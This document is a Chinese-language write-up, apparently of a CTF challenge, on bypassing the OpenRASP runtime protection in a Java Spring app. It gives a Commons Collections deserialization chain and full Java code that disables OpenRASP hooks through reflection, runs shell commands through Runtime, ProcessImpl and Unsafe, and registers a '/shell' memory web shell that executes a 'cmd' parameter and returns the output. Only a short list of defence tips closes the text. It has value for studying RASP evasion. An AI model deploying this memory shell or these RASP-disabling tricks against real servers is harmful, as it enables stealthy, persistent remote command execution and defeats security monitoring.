绕RASP之内存马后渗透浅析
字数 1028 2025-08-29 08:30:30
绕RASP之内存马后渗透技术分析
1. RASP技术概述
RASP(Runtime Application Self-Protection)是一种运行时应用程序自我保护技术,通过在应用程序中注入防护功能来实时监测和阻断攻击。
1.1 Java RASP实现原理
- 通过Instrumentation编写Agent
- 在Agent的
premain和agentmain中加入检测类 - 检测类继承
ClassFileTransformer,用于监控字节码文件 - 核心接口:
ClassFileTransformer:允许在类加载前或重新定义时转换字节码Instrumentation:提供启动时代理和重新定义类的能力
2. 环境搭建与题目分析
2.1 环境复现
docker pull openjdk:8-jdk
docker run -p 45412:8888 -it --rm openjdk:8-jdk sh
java -javaagent:./rasp/rasp.jar -jar DeSpring.jar
2.2 题目分析
/user/info接口的data参数可传入base64编码的恶意字节码- 存在Commons Collections(CC)依赖
SecurityObjectInputStream类中有黑名单限制
3. 反序列化链构造
3.1 可用链分析
- LazyMap和DefaultedMap未被禁用
- Hashtable未被禁用
- 使用CC7前半段+CC3后半段的组合链
3.2 利用链流程
Hashtable#readObject()
DefaultedMap#get()
InstantiateTransformer#transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses
newInstance()
Runtime.exec()
3.3 关键点
- DefaultedMap继承AbstractMapDecorator,会调用父类的equals方法
- 通过DefaultedMap的静态方法decorate传递HashMap
- 利用InstantiateTransformer实例化TrAXFilter类
4. 内存马实现
4.1 基本内存马结构
public class EvilController extends AbstractTranslet {
public EvilController() throws Exception {
// 获取Spring上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 反射获取Method对象
Method method = EvilController.class.getMethod("test");
// 动态注册controller
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config = (RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
RequestMappingInfo info = RequestMappingInfo.paths("/shell").options(config).build();
EvilController springBootMemoryShellOfController = new EvilController("ycxlo");
mappingHandlerMapping.registerMapping(info, springBootMemoryShellOfController, method);
}
public void test() throws Exception {
// 命令执行逻辑
}
}
4.2 RASP绕过技术
方法一:修改disableHooks
try {
Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
Method getConfig = clz.getDeclaredMethod("getConfig");
Field disableHooks = clz.getDeclaredField("disableHooks");
disableHooks.setAccessible(true);
Object ins = getConfig.invoke(null);
disableHooks.set(ins, true);
} catch (Exception e) {}
方法二:修改hookWhiteAll和cloudSwitch
try {
Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
Method getConfig = clz.getDeclaredMethod("getConfig");
Field hookWhiteAll = clz.getDeclaredField("hookWhiteAll");
hookWhiteAll.setAccessible(true);
Object ins = getConfig.invoke(null);
hookWhiteAll.set(ins, true);
Field cloudSwitch = clz.getDeclaredField("cloudSwitch");
cloudSwitch.setAccessible(true);
Object ins2 = getConfig.invoke(null);
cloudSwitch.set(ins2, true);
} catch (Exception e) {}
方法三:修改HookHandler
Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field f = o.getClass().getDeclaredField("enableHook");
Field m = f.getClass().getDeclaredField("modifiers");
m.setAccessible(true);
m.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(o, new AtomicBoolean(false));
5. 命令执行与文件操作
5.1 创建新进程执行命令
public class BypassRasp extends AbstractTranslet implements Runnable {
public BypassRasp() {
new Thread(this).start();
}
@Override
public void run() {
try {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] command = isLinux ?
new String[]{"sh", "-c", "ls > /tmp/result"} :
new String[]{"cmd.exe", "/c", "calc"};
Runtime.getRuntime().exec(command);
} catch (IOException e) {}
}
}
5.2 Hook ProcessImpl执行命令(Windows)
public static void bypass_hook(String cmd) throws Exception {
Class processClass = Class.forName("java.lang.ProcessImpl");
Method create = processClass.getDeclaredMethod("create",
String.class, String.class, String.class, long[].class, boolean.class);
create.setAccessible(true);
create.invoke(null, cmd, null, null, new long[]{-1, -1, -1}, true);
}
5.3 UNIX/Linux系统命令执行
// 使用Unsafe绕过
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
Class processClass = Class.forName("java.lang.UNIXProcess");
Object processObject = unsafe.allocateInstance(processClass);
// 详细实现参考完整代码
5.4 文件读取
File file = new File("./result");
Scanner c = new Scanner(file).useDelimiter("\\A");
String o = c.hasNext() ? c.next() : "default";
c.close();
6. 完整内存马实现(带回显)
public class EvilController extends AbstractTranslet implements Runnable {
private static String RESULT = "you_are_right";
private static String CMD = "whoami";
@Override
public void run() {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] command = isLinux ?
new String[]{"sh", "-c", CMD} :
new String[]{"cmd.exe", "/c", CMD};
try {
InputStream in = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\A");
RESULT = scanner.hasNext() ? scanner.next() : "";
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public void test() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
String cmd = request.getParameter("cmd");
if (cmd != null) {
PrintWriter printWriter = response.getWriter();
CMD = cmd;
new Thread(this).start();
printWriter.write(RESULT);
printWriter.flush();
printWriter.close();
}
}
}
7. 防御建议
- 加强RASP规则,监控关键类的反射调用
- 限制Instrumentation API的使用权限
- 监控内存马的动态注册行为
- 实施严格的输入验证和过滤
- 定期更新RASP规则库
通过以上技术分析,我们详细了解了如何绕过RASP防护实现内存马注入和命令执行,同时也为防御此类攻击提供了参考方向。